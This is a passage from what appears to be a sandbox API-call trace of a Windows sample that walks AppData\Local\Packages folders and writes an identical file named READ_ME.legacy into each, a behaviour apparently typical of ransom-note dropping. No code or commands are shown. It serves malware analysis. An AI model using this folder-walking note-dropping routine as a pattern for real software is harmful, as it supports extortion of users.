"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.3_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b658 | out: hHeap=0x520000) returned 1 [0139.003] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.004] CloseHandle (hObject=0x744) returned 1 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41008 | out: hHeap=0x520000) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94b424e4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94bb4bf1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x94bb4bf1, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.4_8")) returned 1 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0139.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0139.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0139.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0139.004] GetLastError () returned 0x0 [0139.004] SetLastError (dwErrCode=0x0) [0139.005] GetLastError () returned 0x0 [0139.005] SetLastError (dwErrCode=0x0) [0139.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.005] GetLastError () returned 0x0 [0139.005] SetLastError (dwErrCode=0x0) [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60edc8 | out: hHeap=0x520000) returned 1 [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.005] GetLastError () returned 0x0 [0139.005] SetLastError (dwErrCode=0x0) [0139.005] GetLastError () returned 0x0 [0139.005] SetLastError (dwErrCode=0x0) [0139.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0139.005] GetLastError () returned 0x0 [0139.005] SetLastError (dwErrCode=0x0) [0139.005] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.4_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.4_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.007] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bec8 | out: hHeap=0x520000) returned 1 [0139.007] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.008] CloseHandle (hObject=0x744) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41680 | out: hHeap=0x520000) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28b9688c, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x3509b345, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3509b345, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.6_8")) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0139.008] GetLastError () returned 0x0 [0139.008] SetLastError (dwErrCode=0x0) [0139.008] GetLastError () returned 0x0 [0139.008] SetLastError (dwErrCode=0x0) [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.008] GetLastError () returned 0x0 [0139.008] SetLastError (dwErrCode=0x0) [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ecf8 | out: hHeap=0x520000) returned 1 [0139.008] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0139.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.009] GetLastError () returned 0x0 [0139.009] SetLastError (dwErrCode=0x0) [0139.009] GetLastError () returned 0x0 [0139.009] SetLastError (dwErrCode=0x0) [0139.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0139.009] GetLastError () returned 0x0 [0139.009] SetLastError (dwErrCode=0x0) [0139.009] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b8e0 | out: hHeap=0x520000) returned 1 [0139.011] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.012] CloseHandle (hObject=0x744) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3468 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41680 | out: hHeap=0x520000) returned 1 [0139.013] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d747894, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8d974b3f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Office.OneNote_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ONE")) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0139.013] GetLastError () returned 0x0 [0139.013] SetLastError (dwErrCode=0x0) [0139.013] GetLastError () returned 0x0 [0139.013] SetLastError (dwErrCode=0x0) [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0139.013] GetLastError () returned 0x0 [0139.013] SetLastError (dwErrCode=0x0) [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0139.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0139.013] SetLastError (dwErrCode=0x0) [0139.014] GetLastError () returned 0x0 [0139.014] SetLastError (dwErrCode=0x0) [0139.014] GetLastError () returned 0x0 [0139.014] SetLastError (dwErrCode=0x0) [0139.014] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.016] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.017] CloseHandle (hObject=0x744) returned 1 [0139.017] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6e72acf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Office.Sway_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.SWA")) returned 1 [0139.017] SetLastError (dwErrCode=0x0) [0139.017] GetLastError () returned 0x0 [0139.017] SetLastError (dwErrCode=0x0) [0139.017] SetLastError (dwErrCode=0x0) [0139.017] SetLastError (dwErrCode=0x0) [0139.017] GetLastError () returned 0x0 [0139.018] SetLastError (dwErrCode=0x0) [0139.018] GetLastError () returned 0x0 [0139.018] SetLastError (dwErrCode=0x0) [0139.018] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.020] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.021] CloseHandle (hObject=0x744) returned 1 [0139.021] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.OneConnect_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ONE")) returned 1 [0139.022] SetLastError (dwErrCode=0x0) [0139.022] GetLastError () returned 0x0 [0139.022] SetLastError (dwErrCode=0x0) [0139.022] SetLastError (dwErrCode=0x0) [0139.022] SetLastError (dwErrCode=0x0) [0139.022] GetLastError () returned 0x0 [0139.022] SetLastError (dwErrCode=0x0) [0139.022] GetLastError () returned 0x0 [0139.022] SetLastError (dwErrCode=0x0) [0139.022] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.025] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.026] CloseHandle (hObject=0x744) returned 1 [0139.026] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd4774ad5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.People_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.PEO")) returned 1 [0139.026] SetLastError (dwErrCode=0x0) [0139.026] GetLastError () returned 0x0 [0139.026] SetLastError (dwErrCode=0x0) [0139.026] SetLastError (dwErrCode=0x0) [0139.026] SetLastError (dwErrCode=0x0) [0139.026] GetLastError () returned 0x0 [0139.026] SetLastError (dwErrCode=0x0) [0139.026] GetLastError () returned 0x0 [0139.026] SetLastError (dwErrCode=0x0) [0139.026] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.028] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.030] CloseHandle (hObject=0x744) returned 1 [0139.030] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f649af8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7f7086bb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7f7086bb, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.PPIProjection_cw5n1h2txyewy", cAlternateFileName="MICROS~1.PPI")) returned 1 [0139.030] SetLastError (dwErrCode=0x0) [0139.030] GetLastError () returned 0x0 [0139.030] SetLastError (dwErrCode=0x0) [0139.030] SetLastError (dwErrCode=0x0) [0139.030] SetLastError (dwErrCode=0x0) [0139.030] GetLastError () returned 0x0 [0139.030] SetLastError (dwErrCode=0x0) [0139.030] GetLastError () returned 0x0 [0139.030] SetLastError (dwErrCode=0x0) [0139.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.ppiprojection_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.110] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.115] CloseHandle (hObject=0x744) returned 1 [0139.115] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b585e2b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b121dc6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8b2eb9cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Services.Store.Engagement_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ENG")) returned 1 [0139.115] SetLastError (dwErrCode=0x0) [0139.115] GetLastError () returned 0x0 [0139.116] SetLastError (dwErrCode=0x0) [0139.116] SetLastError (dwErrCode=0x0) [0139.116] SetLastError (dwErrCode=0x0) [0139.116] GetLastError () returned 0x0 [0139.116] SetLastError (dwErrCode=0x0) [0139.116] SetLastError (dwErrCode=0x0) [0139.116] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.services.store.engagement_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.118] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.120] CloseHandle (hObject=0x744) returned 1 [0139.120] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3186030, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x88a3d6df, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x88e698d0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.SkypeApp_kzf8qxf38zg5c", cAlternateFileName="MICROS~1.SKY")) returned 1 [0139.120] SetLastError (dwErrCode=0x0) [0139.120] GetLastError () returned 0x0 [0139.120] SetLastError (dwErrCode=0x0) [0139.120] SetLastError (dwErrCode=0x0) [0139.120] SetLastError (dwErrCode=0x0) [0139.120] GetLastError () returned 0x0 [0139.120] SetLastError (dwErrCode=0x0) [0139.120] GetLastError () returned 0x0 [0139.120] SetLastError (dwErrCode=0x0) [0139.120] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.186] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.186] CloseHandle (hObject=0x744) returned 1 [0139.186] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd30f451d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd3166c27, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd3166c27, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.StorePurchaseApp_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.STO")) returned 1 [0139.187] SetLastError (dwErrCode=0x0) [0139.187] GetLastError () returned 0x0 [0139.187] SetLastError (dwErrCode=0x0) [0139.187] SetLastError (dwErrCode=0x0) [0139.187] SetLastError (dwErrCode=0x0) [0139.187] GetLastError () returned 0x0 [0139.187] SetLastError (dwErrCode=0x0) [0139.187] GetLastError () returned 0x0 [0139.187] SetLastError (dwErrCode=0x0) [0139.187] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.225] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.226] CloseHandle (hObject=0x744) returned 1 [0139.226] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35ff46f7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.VCLibs.140.00_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.00_")) returned 1 [0139.226] SetLastError (dwErrCode=0x0) [0139.226] GetLastError () returned 0x0 [0139.226] SetLastError (dwErrCode=0x0) [0139.227] SetLastError (dwErrCode=0x0) [0139.227] SetLastError (dwErrCode=0x0) [0139.227] GetLastError () returned 0x0 [0139.227] SetLastError (dwErrCode=0x0) [0139.227] GetLastError () returned 0x0 [0139.227] SetLastError (dwErrCode=0x0) [0139.227] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.302] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.303] CloseHandle (hObject=0x744) returned 1 [0139.303] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Wallet_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.WAL")) returned 1 [0139.303] SetLastError (dwErrCode=0x0) [0139.303] GetLastError () returned 0x0 [0139.303] SetLastError (dwErrCode=0x0) [0139.303] SetLastError (dwErrCode=0x0) [0139.303] SetLastError (dwErrCode=0x0) [0139.303] GetLastError () returned 0x0 [0139.303] SetLastError (dwErrCode=0x0) [0139.303] GetLastError () returned 0x0 [0139.304] SetLastError (dwErrCode=0x0) [0139.304] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0139.363] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0139.364] CloseHandle (hObject=0x744) returned 1 [0139.364] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77243451, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CHX")) returned 1 [0139.364] SetLastError (dwErrCode=0x0) [0139.364] GetLastError () returned 0x0 [0139.364] 